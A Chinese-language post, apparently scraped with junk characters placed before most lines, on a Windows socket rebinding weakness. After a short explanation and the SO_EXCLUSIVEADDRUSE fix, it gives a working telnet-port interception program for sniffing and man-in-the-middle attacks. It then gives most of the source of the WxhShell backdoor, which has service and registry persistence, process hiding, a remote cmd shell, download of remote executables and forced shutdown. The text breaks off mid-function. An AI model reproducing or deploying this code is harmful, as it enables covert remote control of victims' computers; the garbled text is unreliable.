在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
FiMM-c| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
BEvt{q4 Zq&'a_ saddr.sin_family = AF_INET;
k~AtnI _'w:Sx?d7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
564L.^$@| Y`8)` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}&+,y<> B?&0NpVD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
uxn+.fA mC@v," 这意味着什么?意味着可以进行如下的攻击:
H0&wn#);6R *~GI-h 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:ILpf+`yY (hOD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
A-L1vu; I(7GVYM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Pqx?0f) jY\z+lW6A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>{{ds-- t0fgG/f' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@D-I@Cyl q}p$S2` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_O}U4aGMTC w_>\Yd [ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r'nPP6` pf'DbY! #include
-zYa@PW #include
423%K$710 #include
cvy
5|;-u #include
LhKbZoPp DWORD WINAPI ClientThread(LPVOID lpParam);
hzk!H]>E int main()
4A"nm6 {
kjPf%*3 WORD wVersionRequested;
jMBMqQNU DWORD ret;
?J+jv WSADATA wsaData;
#Pk{emYW BOOL val;
;{0alhMZ SOCKADDR_IN saddr;
5cf?u3r!qJ SOCKADDR_IN scaddr;
h0m5oV int err;
6 8n ;#-X SOCKET s;
T^]]z}k SOCKET sc;
xGr{ad.N int caddsize;
G*EF_N.G0 HANDLE mt;
M/Z$?nd_H DWORD tid;
$k)K}U wVersionRequested = MAKEWORD( 2, 2 );
kF'9@*?J err = WSAStartup( wVersionRequested, &wsaData );
qbSI98rw if ( err != 0 ) {
g$C]ln>"9m printf("error!WSAStartup failed!\n");
+dLUq2 return -1;
ShVR{gIs }
N`7OJ)l saddr.sin_family = AF_INET;
e;~(7/1 c.1gQy$}| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
JE{cZ<NNH 2hNl_P~z1u saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
jFg19C{=X saddr.sin_port = htons(23);
WFc4(Kl if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>{(c\oMD {
k(tB+k!vH\ printf("error!socket failed!\n");
!21G$[H return -1;
UVLS?1ra }
CLZj=J2 val = TRUE;
,F->*= //SO_REUSEADDR选项就是可以实现端口重绑定的
G6{PrV# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?glx8@ {
N:Q.6_%^ printf("error!setsockopt failed!\n");
0sSBwG return -1;
NUb$PT }
bA0H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?s>_^xfD //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QqF*SaO> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zqU$V~5;rG }\H. G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
jtfC3E,U {
^m D$# ret=GetLastError();
FZU1WBNL%t printf("error!bind failed!\n");
X&aQR[X return -1;
FTEC=j$ln }
xcl;~"c* listen(s,2);
6(?@B^S>2 while(1)
^F?B_' {
x&u@!# d] caddsize = sizeof(scaddr);
7>@0nHec //接受连接请求
2vB,{/GXP sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
GD}rsBQNkJ if(sc!=INVALID_SOCKET)
.e5@9G.jb {
B!`.,3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
BQUYT/$( if(mt==NULL)
a'-xCV|^ {
jxW/"Q printf("Thread Creat Failed!\n");
)IK%Dg(v break;
E)Qg^DHP/ }
h8p{ }
Xo(W\Pes CloseHandle(mt);
JcP<@bb>B }
HL[V}m closesocket(s);
S.iUiS" WSACleanup();
`ba<eT': return 0;
c|m?f }
tMU10=d DWORD WINAPI ClientThread(LPVOID lpParam)
@>'Wiq! {
@o@SU"[?_ SOCKET ss = (SOCKET)lpParam;
?5Z-w SOCKET sc;
HW_2!t_R unsigned char buf[4096];
_{^F8 SOCKADDR_IN saddr;
-KbO[b\V long num;
8Dxg6> DWORD val;
[Z'4YXS DWORD ret;
2>x[_ //如果是隐藏端口应用的话,可以在此处加一些判断
/^{Q(R(X< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*a_QuEw_k saddr.sin_family = AF_INET;
.'+JA:3R saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
b)XGr? saddr.sin_port = htons(23);
|1!|SarM{B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p+Bvfn {
tIBEja^l printf("error!socket failed!\n");
{hO|{vz return -1;
ZFX}=?+ }
:+^`VLIf val = 100;
N8r+Q%ov if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*x#5S.i1 {
-"^"& ) ret = GetLastError();
+&X>ul return -1;
vcy+p]6KE- }
zYPvpZV/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Nt<Ac&6
s {
WpI5C,3Z!l ret = GetLastError();
WV|9d}5 return -1;
YE"MtL { }
hZe9 Y?) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
3PzF^ 8KJ {
)086u8w )y printf("error!socket connect failed!\n");
bX`]<$dr3 closesocket(sc);
xU.Ymq& 5 closesocket(ss);
aeLIs SEx return -1;
S +73 /Vs }
bw#\"uJ while(1)
s5d[sx {
9%P$e=Ui# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'+^XL6$L //如果是嗅探内容的话,可以再此处进行内容分析和记录
8fWnKWbbjw //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
blbzh';0} num = recv(ss,buf,4096,0);
'i/"D8 if(num>0)
nM$-L.dG send(sc,buf,num,0);
g2r8J0v else if(num==0)
=o"sBVj break;
%HZ!s
`w_ num = recv(sc,buf,4096,0);
\=W t{ if(num>0)
{2|sk9?W send(ss,buf,num,0);
5=MM^$QG else if(num==0)
oFGgr2Re break;
:SD3 }
6Vu??qBy closesocket(ss);
@yPI$"Ma closesocket(sc);
q=BAYZ\` return 0 ;
K,HR=5 }
=PBJ+"DQs ^dhtc%
W> <l9qhqHv& ==========================================================
$/JnYkL{m BxxqzN+ 下边附上一个代码,,WXhSHELL
8=sMmpB 7u g'eJN ==========================================================
4~:D7",Jn s.}:!fBk #include "stdafx.h"
~]K<Vh` 7XIG ne%v #include <stdio.h>
}W]k1Bsx #include <string.h>
f7]C1!] #include <windows.h>
f%d
=X>_ #include <winsock2.h>
2-wvL&pi) #include <winsvc.h>
l]e7 #include <urlmon.h>
GZFLJu na4^RPtN\e #pragma comment (lib, "Ws2_32.lib")
Y2p~chx9 #pragma comment (lib, "urlmon.lib")
5th\_n}N2/ F>3fP #define MAX_USER 100 // 最大客户端连接数
;%i.@@:IQ #define BUF_SOCK 200 // sock buffer
.3,Ow(3l #define KEY_BUFF 255 // 输入 buffer
p@xK`=Urb ;V~~lcD&Y` #define REBOOT 0 // 重启
}JWk? #define SHUTDOWN 1 // 关机
&]' <M P\|i<Ds_M #define DEF_PORT 5000 // 监听端口
w`0r`\#V/ G|]39/OO3{ #define REG_LEN 16 // 注册表键长度
6sRKbp|r7 #define SVC_LEN 80 // NT服务名长度
Uw_z9ZL T/l2B1 // 从dll定义API
{?'c|\n Li typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$3n@2 N` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
(kI@U![u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.7GAGMNS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?r6uEZ fL1EQ) // wxhshell配置信息
ze%)fZI0f struct WSCFG {
HV6'0_R0 int ws_port; // 监听端口
]O;Rzq{D( char ws_passstr[REG_LEN]; // 口令
)%5T*}j int ws_autoins; // 安装标记, 1=yes 0=no
s*pgR=dZZ char ws_regname[REG_LEN]; // 注册表键名
"Q@ZS2;A char ws_svcname[REG_LEN]; // 服务名
!tD,phca~ char ws_svcdisp[SVC_LEN]; // 服务显示名
{YgB?kt5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
}h)[>I( char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=i)k@w_(x int ws_downexe; // 下载执行标记, 1=yes 0=no
7^:0?Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3~!PJI1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R'r^v lF LiW };
gobqS+c Z66@@?` // default Wxhshell configuration
S}*%l)vfR struct WSCFG wscfg={DEF_PORT,
(Sg52zv "xuhuanlingzhe",
^E8eW 1,
~\m|pxcj "Wxhshell",
NLxsxomj "Wxhshell",
Q:B : "WxhShell Service",
jlZW!$Iq "Wrsky Windows CmdShell Service",
Ot}
E "Please Input Your Password: ",
sj @'C@oK 1,
V<!E9/4rS "
http://www.wrsky.com/wxhshell.exe",
/\9X0a2h|E "Wxhshell.exe"
l;g8_uyjv7 };
.<`Rq' L~jKx)S% // 消息定义模块
!>+Na~eN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+H
L]t'UEg char *msg_ws_prompt="\n\r? for help\n\r#>";
Et+N4w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UujFZg[-P9 char *msg_ws_ext="\n\rExit.";
NN W* char *msg_ws_end="\n\rQuit.";
OC]_b36v char *msg_ws_boot="\n\rReboot...";
Q4MTedj1H char *msg_ws_poff="\n\rShutdown...";
uNYHEs6%T$ char *msg_ws_down="\n\rSave to ";
)xQA+$H#4 [
Q6v #I char *msg_ws_err="\n\rErr!";
(HkMubnqg char *msg_ws_ok="\n\rOK!";
A%s"WSx, vx_v/pD char ExeFile[MAX_PATH];
>p 7e6% int nUser = 0;
RSY{IY HANDLE handles[MAX_USER];
cwxO|
.m int OsIsNt;
G =+ sW i=<N4Vx SERVICE_STATUS serviceStatus;
b&Sk./
J6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
bg)yliX 9c1n // 函数声明
,wlh0;, int Install(void);
q*<Df=+B int Uninstall(void);
t$Z#zxX int DownloadFile(char *sURL, SOCKET wsh);
!f\y3p*j int Boot(int flag);
E0}jEl/{ void HideProc(void);
{=><@]N int GetOsVer(void);
<5~} !N X` int Wxhshell(SOCKET wsl);
|:tFQ.Z'2 void TalkWithClient(void *cs);
(6G5UwSt int CmdShell(SOCKET sock);
~J6c1jG int StartFromService(void);
O(otI-Lc int StartWxhshell(LPSTR lpCmdLine);
$IQ !g KwRO?G9& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Dg@>d0FW VOID WINAPI NTServiceHandler( DWORD fdwControl );
m4*Rr 9 frS!AQ // 数据结构和表定义
h"')D SERVICE_TABLE_ENTRY DispatchTable[] =
UGPD5wX? {
52>?l C {wscfg.ws_svcname, NTServiceMain},
g/4.^c {NULL, NULL}
eGblQGRS };
2`l$uEI3oJ 1HBch]J // 自我安装
ewk62{ int Install(void)
fdCsn: {
5sx-u!7 char svExeFile[MAX_PATH];
Fp06a!7< HKEY key;
ab'
f: strcpy(svExeFile,ExeFile);
VWmZ|9Ri e4ajT // 如果是win9x系统,修改注册表设为自启动
"S^;X
@#v if(!OsIsNt) {
h]c-x(+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>ea<6&!Ee RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WFg'G>* RegCloseKey(key);
q'M-a tE. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oHbEHS61 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'd1E~A RegCloseKey(key);
#Qy*zU#9 return 0;
>\$qF }
JB'q_dS} }
nKh._bvfX }
kkFE9:[-c& else {
M>0=A ][6$$Lz // 如果是NT以上系统,安装为系统服务
dLal15Pb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~c`@uGw if (schSCManager!=0)
![:S~x1 {
+?(2-RBd SC_HANDLE schService = CreateService
n4ce)N@ (
<<w $Ur schSCManager,
t[F tIj6 wscfg.ws_svcname,
vBQ5-00YY= wscfg.ws_svcdisp,
2,;+) SERVICE_ALL_ACCESS,
+*d,non6v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?Gj$$IAe SERVICE_AUTO_START,
.7Ys@;>B SERVICE_ERROR_NORMAL,
@=b0>^\m svExeFile,
$[[6N0}*: NULL,
or~o' NULL,
B.K"1o NULL,
VE6T&fz` NULL,
yK0Q, NULL
EUe2<G );
D_9&=aa' if (schService!=0)
pR&cdORsP {
91%+Bf()J6 CloseServiceHandle(schService);
~7b'4\ CloseServiceHandle(schSCManager);
1U~AupHE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
d^Ra1@0"q2 strcat(svExeFile,wscfg.ws_svcname);
#d*mG = if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
KcfW+>W3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)~O{jd
RegCloseKey(key);
wQp,RpM return 0;
JXGIVH?Rpu }
av gGz8 }
V_~}7~
I CloseServiceHandle(schSCManager);
X!CLOHVAa }
>;HbDp }
bUAjt>+ LlRvm/ return 1;
jY:(Tv3~ }
?qw&H /R u|WX?@\ // 自我卸载
&EmxSYL> int Uninstall(void)
]NuY{T&: {
FI*.2rdSR HKEY key;
\"_;rJ{!aE RXt`y62yK if(!OsIsNt) {
} ~=53$+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\Q*3/_}G RegDeleteValue(key,wscfg.ws_regname);
f&ZxG,]Hi RegCloseKey(key);
>('L2]4\v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:{LVS
nG RegDeleteValue(key,wscfg.ws_regname);
&.=d,XKN RegCloseKey(key);
AT+|}B! return 0;
ZGzrh`j{- }
.pi#Z/v }
;#3!ZB:} }
fbwo2qe@K else {
6}x^T)R `wB(J%w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sryujb., if (schSCManager!=0)
0UWLs_k: {
W}WGg|ug SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
)+oDa{dZ if (schService!=0)
')bx1gc(? {
jLD=EJ if(DeleteService(schService)!=0) {
d~S.PRg= CloseServiceHandle(schService);
-CT?JB CloseServiceHandle(schSCManager);
o,D>7|h return 0;
{^"c>'R }
}N2T/U CloseServiceHandle(schService);
nrwb6wj }
X LA CloseServiceHandle(schSCManager);
W5_t/_EWD }
4'Vuhqk }
#rzxFMA" a%;$l_wVT: return 1;
*J8j_-i,R }
6rt.ec( .4_EaQ;jX // 从指定url下载文件
isDBNXV: int DownloadFile(char *sURL, SOCKET wsh)
8\. # {
0D|^S<z6 HRESULT hr;
vay_QxB5 char seps[]= "/";
V{{b^y char *token;
wR nt$1 char *file;
e0j*e7$ char myURL[MAX_PATH];
k-Jj k3 char myFILE[MAX_PATH];
<|hvH BA A)IQF strcpy(myURL,sURL);
}n:'@} token=strtok(myURL,seps);
F{]dq/{ while(token!=NULL)
#2_phm' {
cpgHF`nt file=token;
~6kEpa token=strtok(NULL,seps);
R7ZxS }
!(uyqplTk )3'/g`c GetCurrentDirectory(MAX_PATH,myFILE);
8$OE<c?#5n strcat(myFILE, "\\");
2!7wGXm~U strcat(myFILE, file);
yFl@z send(wsh,myFILE,strlen(myFILE),0);
B\KvKT|\ send(wsh,"...",3,0);
, YTuZS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`Kpn@Xg if(hr==S_OK)
Sw%=/ g return 0;
SL pd~ZC? else
*;Hvx32I return 1;
7$Bq.Lc#z ="d}:Jl }
)(PA:j r$=iM:kERC // 系统电源模块
P9G c)$6{p int Boot(int flag)
mAk)9`f/ {
>e=tem~/ HANDLE hToken;
6Nj\N oS TOKEN_PRIVILEGES tkp;
iKLN !QR Wl;F]_|*( if(OsIsNt) {
_+ oX9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
nI|jUD+y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]hS4'9lD tkp.PrivilegeCount = 1;
?bmP<(N5/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
T.`E DluG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3"6lPUS if(flag==REBOOT) {
X*]uLgbl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+sQ=Uw#e return 0;
"sUL"i }
w%S\)wjS else {
\a<qI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
\gDf&I return 0;
jC@$D*"J }
&]ts*qCEL }
]6GdB3?UVM else {
i0v;mc if(flag==REBOOT) {
X4Q?]{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
] 8+! return 0;
2?z3s|+[ }
k9.@S else {
vCFMO3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^UEI`_HO0 return 0;
t}c ymX~ }
BC Jo/m }
fp.,MIS rNO'0Ck= return 1;
V~+Oil6sa }
Q\<C9%a ,gUSW // win9x进程隐藏模块
&UEr4RK;I void HideProc(void)
c] $X+ {
}XX)U_x CDK0 $W n HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;v^tUyhCb if ( hKernel != NULL )
i!*w'[G->Y {
q}*(rR9/Br pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<wW#Wnc ] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5 qt]~v%y FreeLibrary(hKernel);
zFN:C()ig }
Cf91#%:cN AT<K>&) return;
M`q >i B }
z4HIDb eY-W5TgU // 获取操作系统版本
Xjw>Qws int GetOsVer(void)
d/v{I {
SGXXv OSVERSIONINFO winfo;
f<=<:+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
FDbb/6ku GetVersionEx(&winfo);
|cEJRs@B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
AA6_D?)vv return 1;
Y}&//S A else
aqQ
YU5l4~ return 0;
6y)TXp }
47|Lk]+O n;@PaE^8= // 客户端句柄模块
)D{L<.i_ int Wxhshell(SOCKET wsl)
b^~ keQ {
A5S9F8Q/] SOCKET wsh;
1p[C5j3 struct sockaddr_in client;
64%P}On DWORD myID;
aHNR0L3$}{ ]>tYU while(nUser<MAX_USER)
0M7Or)qN {
$5yH(Z[[ int nSize=sizeof(client);
",!#7h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(dd+wx't if(wsh==INVALID_SOCKET) return 1;
v8Vw.Ce`f N7Kq$G2O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9]< p if(handles[nUser]==0)
|_"JyGR2 closesocket(wsh);
>v7fR<(%s else
5^<X:1J$ nUser++;
EiQX*v }
9utiev~3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
![h+R@_( pM],-7UM return 0;
'r~,~AI }
IFcxyp 8n+&tBq1 // 关闭 socket
L.ScC void CloseIt(SOCKET wsh)
]VtVw^ ir {
mk(O..)2 closesocket(wsh);
4y\qJw)~U nUser--;
W/!M
eTU&E ExitThread(0);
R4"*<%1 }
@}eEV[Lli +;^UxW // 客户端请求句柄
xP#vAR void TalkWithClient(void *cs)
m5m}RWZ# {
B>Tfyo :)o 4fOJ8 SOCKET wsh=(SOCKET)cs;
O=~8+sa char pwd[SVC_LEN];
ZKy)F-yX char cmd[KEY_BUFF];
s~
||Vv! char chr[1];
nr7#}pzo int i,j;
Yv<'QC ]L+YnZ?6 while (nUser < MAX_USER) {
=r"-Pm{ &|yQwNA*a" if(wscfg.ws_passstr) {
*j5>2-C & if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%:2EoXN" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jBZlNEw //ZeroMemory(pwd,KEY_BUFF);
QZ?# ixvJ i=0;
;wo while(i<SVC_LEN) {
POvxZU Le;;Yd}f // 设置超时
/kV3[Rw+ fd_set FdRead;
Zk,`
Iq struct timeval TimeOut;
kt`_n+G FD_ZERO(&FdRead);
BIGln`;,f FD_SET(wsh,&FdRead);
wJyrF TimeOut.tv_sec=8;
tpu2e*n-| TimeOut.tv_usec=0;
URU,&gy= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0U|t@&q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
rPhx^
QKH2 PD #9Z=Hj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Dl=9<:6FW pwd
=chr[0]; =og>& K
if(chr[0]==0xd || chr[0]==0xa) { KaVNRS
pwd=0; DJ_[{WAV
break; wcr3ugvT
} s%M#
i++; W*J_PL9j
} PLD&/SgP*
kw)("SQ
// 如果是非法用户,关闭 socket A*+pGQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aa|u*afWQ
} UWU(6J|Fk
q4u,pm,@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m=Mb'<
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0s9-`nHen|
y7CC5S?
while(1) { 5k:SD7^b
CD^C}MB
ZeroMemory(cmd,KEY_BUFF); YcQ$nZAU
\^o8qw'pt
// 自动支持客户端 telnet标准 ga?:k,xv
j=0; f(M$m,d
while(j<KEY_BUFF) { l5h+:^#M5c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X,5}i5'!
cmd[j]=chr[0]; /x%h@Cn!
if(chr[0]==0xa || chr[0]==0xd) { %MG{KG=&o
cmd[j]=0; SEf RU`
break; G5WQTMzf&
} G^r`)ND
j++; m(>MP/
} UY>[
^}SP,lg'
// 下载文件 4X-" yQ<U
if(strstr(cmd,"http://")) { CdBpz/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); bG0
|+k3O
if(DownloadFile(cmd,wsh)) 87!D@Xn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;X_bDiG$
else I+oe{#:.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iGq%|o>
} vHJOpQmt~
else { IRhi1{K$"
* 'eE[/K
switch(cmd[0]) { &}'FC7}
$>JfLSyC
// 帮助 1JQ5bB"
case '?': { kM6i{{Q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J#.f%VJ
break; Ky0}phGRu
} 2xLEB&
// 安装 3Pu8IXW
case 'i': { ` ~w|Xz
if(Install()) =Bg $OX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #B!|sXC
else n~"qbtp}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); --fRh N>
break; 1d$qr`
} t1JU_P
// 卸载 sX@}4[)<&
case 'r': { (k^%j
if(Uninstall()) ?^whK<"]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,?>{M
else NX[-Y]t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]OSq}ul
break; >jU25"XI[
} 0g2?
// 显示 wxhshell 所在路径 Iuyq!R4:7
case 'p': { ZUyS+60
char svExeFile[MAX_PATH]; z*a-=w0
strcpy(svExeFile,"\n\r"); z@g%9|U
strcat(svExeFile,ExeFile); &k@\k<2Ia
send(wsh,svExeFile,strlen(svExeFile),0); XE>w&
break; $u~*V
}
ZZ>"LH
// 重启 {|d28!8w
case 'b': { M(^_/1Z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9 NGKh3V
if(Boot(REBOOT)) U{\9mt7b!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/t&a$[
else { (*M*muk
closesocket(wsh); .5" s[(S
ExitThread(0); .FN;3HU
} |oWl9j]Z
break; e#U@n
j6
} ;AG&QdTMh
// 关机 +v2)'?BS
case 'd': { ^w!1QH0:/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _/czH<
if(Boot(SHUTDOWN)) Y{Ff I+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1> v(&;K
else { <{+U- ^rzR
closesocket(wsh); w%?Zb[!&
ExitThread(0); 5tI#UBha
} zv7)JH7EV&
break; \0W0 o5c$
} v<Ywfb
// 获取shell Jc7}z:U B
case 's': { ?8do4gT+1
CmdShell(wsh); y6dQ4Whv&
closesocket(wsh); "38L ,PW0Z
ExitThread(0); 28LBvJVq@
break; ~<.{z]*O
} /-knqv
// 退出 6HguZ_jC
case 'x': { $bDaZGy
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }[{9u#@#
CloseIt(wsh); O14\_eAu6
break; A<]
$[2qPj
} ?y]R /?
// 离开 i[?VF\Y(
case 'q': { nC%<BatQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]v/pMg#-
closesocket(wsh); NQGa=kXeJ
WSACleanup(); 4ClSl#X#i
exit(1); C2aA])7D
break; **\?-*c=U
} p+pu_T;~
} &mW7FR'(
} `W >Sss
TCFr-*x
// 提示信息 (q0vql
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \11+~
} f|=u{6
} QE8`nMf
m2H?VY.^K
return; g[R4/]K^$
} |ZM>UJ
aX~Jk >a0
// shell模块句柄 V.9p4k`
int CmdShell(SOCKET sock) I94-#*~I
{ jo?[M
STARTUPINFO si; ~F53{qxV
ZeroMemory(&si,sizeof(si)); l}iQ0v@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3GNcnb
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z9:yt5ar
PROCESS_INFORMATION ProcessInfo; 1S(n3(KRk$
char cmdline[]="cmd"; H+562W
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #sg*GK+|:R
return 0; Yi]`"\
} 5A$,'%d
OTGy[jY"
// 自身启动模式 Zb&pH~ 7
int StartFromService(void) !g`I*ZE+e
{ w=CzPNRHH!
typedef struct p>O/H1US;
{ qDTdYf
DWORD ExitStatus; D66NF;7q
DWORD PebBaseAddress; fJP *RVz
DWORD AffinityMask; |VzXcV-"8)
